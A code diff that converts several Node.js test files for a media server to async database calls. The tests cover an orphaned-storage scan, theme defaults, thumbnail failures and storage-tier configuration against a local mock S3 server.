process.env.MEDIA_ORPHAN_SCAN_DAYS = '0';++ assert.strictEqual(await storageJob.schedule(Date.now() + 90 * 86400 * 1000), 0, 'MEDIA_ORPHAN_SCAN_DAYS=0 schedules nothing');++ delete process.env.MEDIA_ORPHAN_SCAN_DAYS;++ const job = await db.get("SELECT * FROM media_jobs WHERE job_type = 'storage.orphans.scan'");++ assert.deepStrictEqual([job.app_id, job.status, job.created_by], [queue.SYSTEM_APP, 'queued', 'system:schedule']);++ const done = await require('../server/jobs/worker').runNow(job.id);++ assert.strictEqual(done.status, 'succeeded', done.error || '');++ const result = JSON.parse(done.result);++ assert.strictEqual(result.totals.unreferenced_local.files, 5);++ const reportFile = path.join(tmp, 'data', 'reports', result.report);++ assert.ok(fs.existsSync(reportFile), 'the job writes its report under <data>/reports');++ assert.strictEqual(JSON.parse(fs.readFileSync(reportFile, 'utf8')).job_id, job.id);++ assert.deepStrictEqual(snapshotFiles(), before.files, 'the job deleted nothing either');++ assert.strictEqual(writes, 0);++++ const express = require('express');++ const app = express();++ app.use(express.json());++ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));++ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });++ const post = (p, body) => new Promise((resolve, reject) => {++ const data = JSON.stringify(body);++ const rq = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST',++ headers: { Authorization: 'Bearer live-key-orphans', 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },++ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });++ rq.on('error', reject);++ rq.end(data);++ });++ const r = await post('/api/v2/live/jobs', { type: 'storage.orphans.scan' });++ assert.deepStrictEqual([r.status, r.body.code], [403, 'media.job.forbidden'], 'a tenant cannot run the service-wide scan');++ server.close();++ console.log('✅ storage.orphans.scan: scheduled once per period under the system app, writes its report, refused to tenants');++++ // ── The script, on demand ──++ const out = path.join(tmp, 'script-report.json');++ const { runScript } = require('./helpers/run-script');++ const text = (await runScript(path.join(__dirname, '..', 'scripts', 'vods-orphans-report.js'), ['--storage', '--no-remote', '--out', out], { env })).out;++ assert.ok(/Unreferenced local files: 5/.test(text) && /Nothing was deleted or moved/.test(text), text);++ const scripted = JSON.parse(fs.readFileSync(out, 'utf8'));++ assert.deepStrictEqual([scripted.totals.unreferenced_local.files, Object.keys(scripted.scope.providers).length], [5, 0], '--no-remote lists no bucket');++ assert.deepStrictEqual(snapshotFiles().filter(f => !f.startsWith('script-report.json')), before.files);++ console.log('✅ scripts/vods-orphans-report.js --storage runs the same report on demand');++++ s3.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('storage orphans: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -3,16 +3,18 @@// default theme when openvibe.network (the theme loader) is unreachable. The browser check's --network-down// run found --accent undefined here on 2026-09-26 (the styles used fallbacks, shared components did not).const assert = require('assert');--const { baseCss } = require('../server/public/page-frame');--const { DEFAULT_VARS } = require('openvibe-shared/builtin-themes');++(async () => {++ const { baseCss } = require('../server/public/page-frame');++ const { DEFAULT_VARS } = require('openvibe-shared/builtin-themes');--const css = baseCss();--for (const k of ['--accent', '--bg-primary', '--text-primary']) {-- assert.ok(DEFAULT_VARS[k], `openvibe-shared has a default ${k}`);-- assert.ok(css.includes(`${k}:${DEFAULT_VARS[k]}`), `the page defines ${k} as the default theme does`);--}--assert.ok(!/url\(|;\s*}/.test(css.split('\n').find((l) => l.includes('--accent:')) || ''), 'only plain token values');--// The index page (browse.js) writes its own <style>: it carries the same tokens.--const src = require('fs').readFileSync(require('path').join(__dirname, '..', 'server', 'public', 'browse.js'), 'utf8');--assert.ok(/<style>\n\$\{DEFAULT_THEME_CSS \?/.test(src), 'browse.js puts the default tokens first in its style');--console.log('theme default: all checks passed');++ const css = baseCss();++ for (const k of ['--accent', '--bg-primary', '--text-primary']) {++ assert.ok(DEFAULT_VARS[k], `openvibe-shared has a default ${k}`);++ assert.ok(css.includes(`${k}:${DEFAULT_VARS[k]}`), `the page defines ${k} as the default theme does`);++ }++ assert.ok(!/url\(|;\s*}/.test(css.split('\n').find((l) => l.includes('--accent:')) || ''), 'only plain token values');++ // The index page (browse.js) writes its own <style>: it carries the same tokens.++ const src = require('fs').readFileSync(require('path').join(__dirname, '..', 'server', 'public', 'browse.js'), 'utf8');++ assert.ok(/<style>\n\$\{DEFAULT_THEME_CSS \?/.test(src), 'browse.js puts the default tokens first in its style');++ console.log('theme default: all checks passed');++})().catch((err) => { console.error(err); process.exit(1); });@@@ -11,53 +11,55 @@ const path = require('path');const http = require('http');const express = require('express');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-thumbfail-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_INVARIANT_SCAN_HOURS: '0',--});++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-thumbfail-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'), MEDIA_INVARIANT_SCAN_HOURS: '0',++ });--const db = require('../server/db/database');--const queue = require('../server/jobs/queue');--db.upsertApp({ app_id: 'live', api_key: 'live-key-thumbfail' });++ const db = require('../server/db/database');++ const queue = require('../server/jobs/queue');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key-thumbfail' });--const V = process.env.VOD_PATH;--const insVod = (file, health) => Number(db.run(`INSERT INTO vods (app_id, title, file_path, file_size, is_public, visibility, health_status)-- VALUES ('live', 't', ?, 0, 1, 'public', ?)`, [file, health]).lastInsertRowid);--fs.writeFileSync(path.join(V, 'zero-marked.mp4'), '');--fs.writeFileSync(path.join(V, 'zero-unscanned.mp4'), '');--const marked = insVod(path.join(V, 'zero-marked.mp4'), 'zero_byte'); // as on production--const unscanned = insVod(path.join(V, 'zero-unscanned.mp4'), 'unknown'); // empty, not scanned yet--const missing = insVod(path.join(V, 'gone.mp4'), 'ok'); // no file, not offloaded++ const V = process.env.VOD_PATH;++ const insVod = async (file, health) => Number((await db.run(`INSERT INTO vods (app_id, title, file_path, file_size, is_public, visibility, health_status)++ VALUES ('live', 't', ?, 0, 1, 'public', ?) RETURNING id`, [file, health])).lastInsertRowid);++ fs.writeFileSync(path.join(V, 'zero-marked.mp4'), '');++ fs.writeFileSync(path.join(V, 'zero-unscanned.mp4'), '');++ const marked = await insVod(path.join(V, 'zero-marked.mp4'), 'zero_byte'); // as on production++ const unscanned = await insVod(path.join(V, 'zero-unscanned.mp4'), 'unknown'); // empty, not scanned yet++ const missing = await insVod(path.join(V, 'gone.mp4'), 'ok'); // no file, not offloaded--const app = express();--app.use(express.json());--app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));--const server = app.listen(0, '127.0.0.1');--const post = (p) => new Promise((resolve, reject) => {-- const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST', headers: { Authorization: 'Bearer live-key-thumbfail', 'Content-Length': 0 } },-- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });-- req.on('error', reject);-- req.end();--});++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/thumbnails', require('../server/thumbnails/routes'));++ const server = app.listen(0, '127.0.0.1');++ const post = (p) => new Promise((resolve, reject) => {++ const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method: 'POST', headers: { Authorization: 'Bearer live-key-thumbfail', 'Content-Length': 0 } },++ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });++ req.on('error', reject);++ req.end();++ });--(async () => {-- await new Promise((r) => (server.listening ? r() : server.once('listening', r)));-- for (const id of [marked, unscanned, missing]) {-- const t0 = Date.now();-- const r = await post(`/api/v1/live/thumbnails/vod/${id}`);-- assert.strictEqual(r.status, 404, `vod ${id}: ${JSON.stringify(r.body)}`);-- assert.strictEqual(r.body.error, 'Media file unavailable');-- const job = queue.get(r.body.job_id);-- assert.deepStrictEqual([job.status, job.error_code, job.attempts], ['failed', 'media_unavailable', 1], `vod ${id}`);-- assert.ok(Date.now() - t0 < 5000, 'refused before any ffmpeg run');-- }-- assert.ok(/empty \(0 bytes\)/.test(queue.list('live', { type: 'thumbnail.regenerate' }).jobs.find(j => JSON.parse(j.params).id === marked).error));-- assert.strictEqual(db.all("SELECT COUNT(*) AS n FROM media_jobs WHERE error_code = 'generate_failed'")[0].n, 0, 'none of them is a generate failure any more');-- server.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('✅ thumbnail.regenerate on an empty or missing recording: media_unavailable at once, 404 from the v1 route');-- process.exit(0);--})().catch((err) => { console.error(err); server.close(); process.exit(1); });++ (async () => {++ await new Promise((r) => (server.listening ? r() : server.once('listening', r)));++ for (const id of [marked, unscanned, missing]) {++ const t0 = Date.now();++ const r = await post(`/api/v1/live/thumbnails/vod/${id}`);++ assert.strictEqual(r.status, 404, `vod ${id}: ${JSON.stringify(r.body)}`);++ assert.strictEqual(r.body.error, 'Media file unavailable');++ const job = await queue.get(r.body.job_id);++ assert.deepStrictEqual([job.status, job.error_code, job.attempts], ['failed', 'media_unavailable', 1], `vod ${id}`);++ assert.ok(Date.now() - t0 < 5000, 'refused before any ffmpeg run');++ }++ assert.ok(/empty \(0 bytes\)/.test((await queue.list('live', { type: 'thumbnail.regenerate' })).jobs.find(j => JSON.parse(j.params).id === marked).error));++ assert.strictEqual((await db.all("SELECT COUNT(*) AS n FROM media_jobs WHERE error_code = 'generate_failed'"))[0].n, 0, 'none of them is a generate failure any more');++ server.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('✅ thumbnail.regenerate on an empty or missing recording: media_unavailable at once, 404 from the v1 route');++ process.exit(0);++ })().catch((err) => { console.error(err); server.close(); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -8,82 +8,88 @@ const assert = require('assert');const fs = require('fs');const os = require('os');const path = require('path');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tiercfg-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),--});--(async () => {-- const db = require('../server/db/database');-- db.upsertApp({ app_id: 'live', api_key: 'live-key-tiercfg' });-- // An operator had overridden one threshold before this release.-- db.run("INSERT INTO media_settings (key, value) VALUES ('storage_tier.minAgeDays', '10')");-- const storage = require('../server/vod/vod-storage');-- const row = (k) => { const r = db.get('SELECT value FROM media_settings WHERE key = ?', [`storage_tier.${k}`]); return r ? JSON.parse(r.value) : undefined; };++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tiercfg-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),++ });++++ (async () => {++ const db = require('../server/db/database');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key-tiercfg' });++ // An operator had overridden one threshold before this release.++ await db.run("INSERT INTO media_settings (key, value) VALUES ('storage_tier.minAgeDays', '10')");++ const storage = require('../server/vod/vod-storage');++ // The revisioned tier policies load once the database is open (server/index.js does this at boot).++ await storage.tierConfig.init(storage.DEFAULTS);++ await require('../server/objects/tier-policy').init();++ const row = async (k) => { const r = await db.get('SELECT value FROM media_settings WHERE key = ?', [`storage_tier.${k}`]); return r ? JSON.parse(r.value) : undefined; };-- // ── Revision 1: exactly what media_settings held ──-- assert.strictEqual(storage.getSettings().minAgeDays, 10, 'the override carries over');-- assert.strictEqual(storage.getSettings().maxViewsForCold, storage.DEFAULTS.maxViewsForCold, 'everything else is its default');-- const cfg = storage.tierConfig.get(storage.DEFAULTS);-- assert.strictEqual(cfg.revision(), 1);-- assert.deepStrictEqual(cfg.snapshot(1).values, { minAgeDays: 10 });++ // ── Revision 1: exactly what media_settings held ──++ assert.strictEqual(storage.getSettings().minAgeDays, 10, 'the override carries over');++ assert.strictEqual(storage.getSettings().maxViewsForCold, storage.DEFAULTS.maxViewsForCold, 'everything else is its default');++ const cfg = storage.tierConfig.get(storage.DEFAULTS);++ assert.strictEqual(cfg.revision(), 1);++ assert.deepStrictEqual((await cfg.snapshot(1)).values, { minAgeDays: 10 });-- const express = require('express');-- const app = express();-- app.use(express.json());-- app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));-- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });-- const call = async (method, p, body) => {-- const res = await fetch(`http://127.0.0.1:${server.address().port}${p}`, { method, headers: { authorization: 'Bearer live-key-tiercfg', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });-- return { status: res.status, body: await res.json().catch(() => null) };-- };++ const express = require('express');++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));++ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });++ const call = async (method, p, body) => {++ const res = await fetch(`http://127.0.0.1:${server.address().port}${p}`, { method, headers: { authorization: 'Bearer live-key-tiercfg', 'content-type': 'application/json' }, body: body === undefined ? undefined : JSON.stringify(body) });++ return { status: res.status, body: await res.json().catch(() => null) };++ };-- // ── PUT /tiers/settings: one validated revision, merged, recorded with the app and the reason ──-- let r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { r2MinViews: '30', r2Enabled: 'false', reason: 'fewer promotions' });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- assert.strictEqual(r.body.revision, 2);-- assert.deepStrictEqual([r.body.settings.r2MinViews, r.body.settings.r2Enabled, r.body.settings.minAgeDays], [30, false, 10], 'coerced, and merged over the active revision');-- assert.deepStrictEqual([row('r2MinViews'), row('r2Enabled'), row('minAgeDays'), row('maxViewsForCold')], [30, false, 10, undefined], 'media_settings mirrors the revision (defaults stay rowless)');++ // ── PUT /tiers/settings: one validated revision, merged, recorded with the app and the reason ──++ let r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { r2MinViews: '30', r2Enabled: 'false', reason: 'fewer promotions' });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ assert.strictEqual(r.body.revision, 2);++ assert.deepStrictEqual([r.body.settings.r2MinViews, r.body.settings.r2Enabled, r.body.settings.minAgeDays], [30, false, 10], 'coerced, and merged over the active revision');++ assert.deepStrictEqual([await row('r2MinViews'), await row('r2Enabled'), await row('minAgeDays'), await row('maxViewsForCold')], [30, false, 10, undefined], 'media_settings mirrors the revision (defaults stay rowless)');-- // A change that breaks a rule across thresholds is refused whole, and nothing changes.-- r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { localLowWaterPct: 80, r2MinViews: 40 });-- assert.strictEqual(r.status, 422, JSON.stringify(r.body));-- assert.strictEqual(r.body.code, 'config.invalid');-- assert.ok(JSON.stringify(r.body.errors).includes('localLowWaterPct must be below hotDiskPressurePct'), JSON.stringify(r.body.errors));-- assert.deepStrictEqual([cfg.revision(), storage.getSettings().r2MinViews, row('r2MinViews')], [2, 30, 30]);-- r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { hotDiskPressurePct: 150 });-- assert.strictEqual(r.status, 422, 'a percentage above 100');-- r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', {});-- assert.strictEqual(r.status, 400, 'nothing to change');++ // A change that breaks a rule across thresholds is refused whole, and nothing changes.++ r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { localLowWaterPct: 80, r2MinViews: 40 });++ assert.strictEqual(r.status, 422, JSON.stringify(r.body));++ assert.strictEqual(r.body.code, 'config.invalid');++ assert.ok(JSON.stringify(r.body.errors).includes('localLowWaterPct must be below hotDiskPressurePct'), JSON.stringify(r.body.errors));++ assert.deepStrictEqual([cfg.revision(), storage.getSettings().r2MinViews, await row('r2MinViews')], [2, 30, 30]);++ r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { hotDiskPressurePct: 150 });++ assert.strictEqual(r.status, 422, 'a percentage above 100');++ r = await call('PUT', '/api/v1/live/admin/storage/tiers/settings', {});++ assert.strictEqual(r.status, 400, 'nothing to change');-- // The policy endpoint says where each threshold comes from.-- r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');-- assert.deepStrictEqual(r.body.r2.thresholds.r2MinViews, { value: 30, default: storage.DEFAULTS.r2MinViews, source: 'setting' });-- assert.strictEqual(r.body.r2.thresholds.r2MaxIdleDays.source, 'default');++ // The policy endpoint says where each threshold comes from.++ r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');++ assert.deepStrictEqual(r.body.r2.thresholds.r2MinViews, { value: 30, default: storage.DEFAULTS.r2MinViews, source: 'setting' });++ assert.strictEqual(r.body.r2.thresholds.r2MaxIdleDays.source, 'default');-- // ── The configuration model's routes: list, history, rollback ──-- r = await call('GET', '/api/v1/live/admin/storage/config');-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- const ns = r.body.namespaces.find((n) => n.namespace === 'media.storage_tier');-- assert.deepStrictEqual([ns.revision, ns.last_known_good && ns.last_known_good.revision], [2, 2]);-- r = await call('GET', '/api/v1/live/admin/storage/config/media.storage_tier/history');-- assert.deepStrictEqual(r.body.snapshots.map((x) => [x.revision, x.state]), [[2, 'active'], [1, 'superseded']]);-- assert.deepStrictEqual(r.body.snapshots[0].created_by, { type: 'service', id: 'live' });-- assert.strictEqual(r.body.snapshots[0].reason, 'fewer promotions');-- r = await call('POST', '/api/v1/live/admin/storage/config/media.storage_tier/rollback', { reason: 'back to what it was' });-- assert.strictEqual(r.status, 200, JSON.stringify(r.body));-- assert.strictEqual(r.body.revision, 3);-- assert.deepStrictEqual([storage.getSettings().r2MinViews, storage.getSettings().r2Enabled, storage.getSettings().minAgeDays], [storage.DEFAULTS.r2MinViews, true, 10], 'revision 1 again, as a new revision');-- assert.deepStrictEqual([row('r2MinViews'), row('r2Enabled'), row('minAgeDays')], [undefined, undefined, 10], 'and media_settings with it');-- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/config/other.namespace')).status, 404);++ // ── The configuration model's routes: list, history, rollback ──++ r = await call('GET', '/api/v1/live/admin/storage/config');++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ const ns = r.body.namespaces.find((n) => n.namespace === 'media.storage_tier');++ assert.deepStrictEqual([ns.revision, ns.last_known_good && ns.last_known_good.revision], [2, 2]);++ r = await call('GET', '/api/v1/live/admin/storage/config/media.storage_tier/history');++ assert.deepStrictEqual(r.body.snapshots.map((x) => [x.revision, x.state]), [[2, 'active'], [1, 'superseded']]);++ assert.deepStrictEqual(r.body.snapshots[0].created_by, { type: 'service', id: 'live' });++ assert.strictEqual(r.body.snapshots[0].reason, 'fewer promotions');++ r = await call('POST', '/api/v1/live/admin/storage/config/media.storage_tier/rollback', { reason: 'back to what it was' });++ assert.strictEqual(r.status, 200, JSON.stringify(r.body));++ assert.strictEqual(r.body.revision, 3);++ assert.deepStrictEqual([storage.getSettings().r2MinViews, storage.getSettings().r2Enabled, storage.getSettings().minAgeDays], [storage.DEFAULTS.r2MinViews, true, 10], 'revision 1 again, as a new revision');++ assert.deepStrictEqual([await row('r2MinViews'), await row('r2Enabled'), await row('minAgeDays')], [undefined, undefined, 10], 'and media_settings with it');++ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/config/other.namespace')).status, 404);-- // ── A restart reads the same active revision ──-- storage.tierConfig._reset();-- assert.deepStrictEqual([storage.tierConfig.get(storage.DEFAULTS).revision(), storage.getSettings().minAgeDays], [3, 10]);++ // ── A restart reads the same active revision ──++ storage.tierConfig._reset();++ await storage.tierConfig.init(storage.DEFAULTS);++ assert.deepStrictEqual([storage.tierConfig.get(storage.DEFAULTS).revision(), storage.getSettings().minAgeDays], [3, 10]);-- server.close();-- console.log('tier config: all checks passed');-- process.exit(0);++ server.close();++ console.log('tier config: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,179 +12,184 @@ const path = require('path');const http = require('http');const crypto = require('crypto');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tierlog-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-tierlog-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };--let refusePutTo = null;--function decodeAwsChunked(buf) {-- const out = [];-- let i = 0;-- for (;;) {-- const nl = buf.indexOf('\r\n', i);-- const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);-- if (!size) break;-- out.push(buf.subarray(nl + 2, nl + 2 + size));-- i = nl + 2 + size + 2;-- }-- return Buffer.concat(out);--}--const s3 = http.createServer((req, res) => {-- const chunks = [];-- req.on('data', (c) => chunks.push(c));-- req.on('end', () => {-- const u = new URL(req.url, 'http://x');-- const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');-- const key = rest.join('/');-- const store = buckets[bucket];-- if (!store) { res.writeHead(404); return res.end(); }-- if (!key && req.method === 'HEAD') { res.writeHead(200); return res.end(); }-- const obj = store.get(key);-- if (req.method === 'HEAD' || req.method === 'GET') {-- if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }-- res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'video/webm' });-- return res.end(req.method === 'GET' ? obj : undefined);++ const buckets = { 'b2-bucket': new Map(), 'r2-bucket': new Map() };++ let refusePutTo = null;++ function decodeAwsChunked(buf) {++ const out = [];++ let i = 0;++ for (;;) {++ const nl = buf.indexOf('\r\n', i);++ const size = parseInt(buf.subarray(i, nl).toString().split(';')[0], 16);++ if (!size) break;++ out.push(buf.subarray(nl + 2, nl + 2 + size));++ i = nl + 2 + size + 2;}-- if (req.method === 'PUT') {-- if (refusePutTo === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }-- let body = Buffer.concat(chunks);-- if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);-- store.set(key, body);-- res.writeHead(200, { ETag: '"e"' });-- return res.end();-- }-- if (req.method === 'DELETE') { store.delete(key); res.writeHead(204); return res.end(); }-- res.writeHead(405); res.end();++ return Buffer.concat(out);++ }++ const s3 = http.createServer((req, res) => {++ const chunks = [];++ req.on('data', (c) => chunks.push(c));++ req.on('end', () => {++ const u = new URL(req.url, 'http://x');++ const [, bucket, ...rest] = decodeURIComponent(u.pathname).split('/');++ const key = rest.join('/');++ const store = buckets[bucket];++ if (!store) { res.writeHead(404); return res.end(); }++ if (!key && req.method === 'HEAD') { res.writeHead(200); return res.end(); }++ const obj = store.get(key);++ if (req.method === 'HEAD' || req.method === 'GET') {++ if (!obj) { res.writeHead(404, { 'Content-Type': 'application/xml' }); return res.end(req.method === 'GET' ? '<Error><Code>NoSuchKey</Code></Error>' : undefined); }++ res.writeHead(200, { 'Content-Length': obj.length, ETag: '"e"', 'Content-Type': 'video/webm' });++ return res.end(req.method === 'GET' ? obj : undefined);++ }++ if (req.method === 'PUT') {++ if (refusePutTo === bucket) { res.writeHead(500, { 'Content-Type': 'application/xml' }); return res.end('<Error><Code>InternalError</Code></Error>'); }++ let body = Buffer.concat(chunks);++ if (req.headers['x-amz-decoded-content-length'] || /aws-chunked/.test(req.headers['content-encoding'] || '')) body = decodeAwsChunked(body);++ store.set(key, body);++ res.writeHead(200, { ETag: '"e"' });++ return res.end();++ }++ if (req.method === 'DELETE') { store.delete(key); res.writeHead(204); return res.end(); }++ res.writeHead(405); res.end();++ });});--});--(async () => {-- await new Promise((r) => s3.listen(0, '127.0.0.1', r));-- const endpoint = `http://127.0.0.1:${s3.address().port}`;-- Object.assign(process.env, {-- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),-- THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),-- MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',-- MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',-- AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',-- });-- const db = require('../server/db/database');-- const model = require('../server/objects/model');-- const storage = require('../server/vod/vod-storage');-- db.upsertApp({ app_id: 'live', api_key: 'live-key-tierlog' });-- db.upsertApp({ app_id: 'games', api_key: 'games-key-tierlog' });++ (async () => {++ await new Promise((r) => s3.listen(0, '127.0.0.1', r));++ const endpoint = `http://127.0.0.1:${s3.address().port}`;++ Object.assign(process.env, {++ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),++ THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'), OBJECTS_PATH: dir('objects'),++ MEDIA_B2_ENDPOINT: endpoint, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_KEY_ID: 'k', MEDIA_B2_APP_KEY: 's', MEDIA_B2_REGION: 'us-west-004',++ MEDIA_R2_ENDPOINT: endpoint, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_ACCESS_KEY_ID: 'k', MEDIA_R2_SECRET_ACCESS_KEY: 's',++ AWS_REQUEST_CHECKSUM_CALCULATION: 'WHEN_REQUIRED', AWS_RESPONSE_CHECKSUM_VALIDATION: 'WHEN_REQUIRED',++ });++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const storage = require('../server/vod/vod-storage');++ // The revisioned tier policies load once the database is open (server/index.js does this at boot).++ await storage.tierConfig.init(storage.DEFAULTS);++ await require('../server/objects/tier-policy').init();++ await db.upsertApp({ app_id: 'live', api_key: 'live-key-tierlog' });++ await db.upsertApp({ app_id: 'games', api_key: 'games-key-tierlog' });-- // The thresholds are not changed by this work.-- assert.deepStrictEqual([storage.DEFAULTS.r2Enabled, storage.DEFAULTS.r2MinViews, storage.DEFAULTS.r2RecentAccessDays, storage.DEFAULTS.r2MaxIdleDays, storage.DEFAULTS.r2MaxPerSweep],-- [true, 20, 3, 14, 5]);-- // Keep the sweep's disk-pressure drain out of this test (whatever this machine's disk looks like).-- // One validated revision of media.storage_tier (percentages are 1–100: at 100 the drain never starts).-- await storage.setSettings({ hotDiskPressurePct: 100, criticalDiskPct: 100, minFreeGb: 0 }, { reason: 'test: no pressure drain' });++ // The thresholds are not changed by this work.++ assert.deepStrictEqual([storage.DEFAULTS.r2Enabled, storage.DEFAULTS.r2MinViews, storage.DEFAULTS.r2RecentAccessDays, storage.DEFAULTS.r2MaxIdleDays, storage.DEFAULTS.r2MaxPerSweep],++ [true, 20, 3, 14, 5]);++ // Keep the sweep's disk-pressure drain out of this test (whatever this machine's disk looks like).++ // One validated revision of media.storage_tier (percentages are 1–100: at 100 the drain never starts).++ await storage.setSettings({ hotDiskPressurePct: 100, criticalDiskPct: 100, minFreeGb: 0 }, { reason: 'test: no pressure drain' });-- const bytes = crypto.randomBytes(200000);-- const addVod = (id, { app = 'live', provider = 'local', views = 0, accessed = null } = {}) => {-- const name = `vod-${app}-${id}-1726900000000.webm`;-- const key = `vods/${name}`;-- if (provider === 'local') fs.writeFileSync(path.join(process.env.VOD_PATH, name), bytes);-- else { buckets['b2-bucket'].set(key, bytes); if (provider === 'r2') buckets['r2-bucket'].set(key, bytes); }-- db.run(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key, view_count, last_accessed_at, created_at)-- VALUES (?, ?, 't', ?, ?, 1, 'public', 60, ?, ?, ?, ${accessed ? `datetime('now', '${accessed}')` : 'NULL'}, datetime('now'))`,-- [id, app, path.join(process.env.VOD_PATH, name), bytes.length, provider, provider === 'local' ? null : key, views]);-- 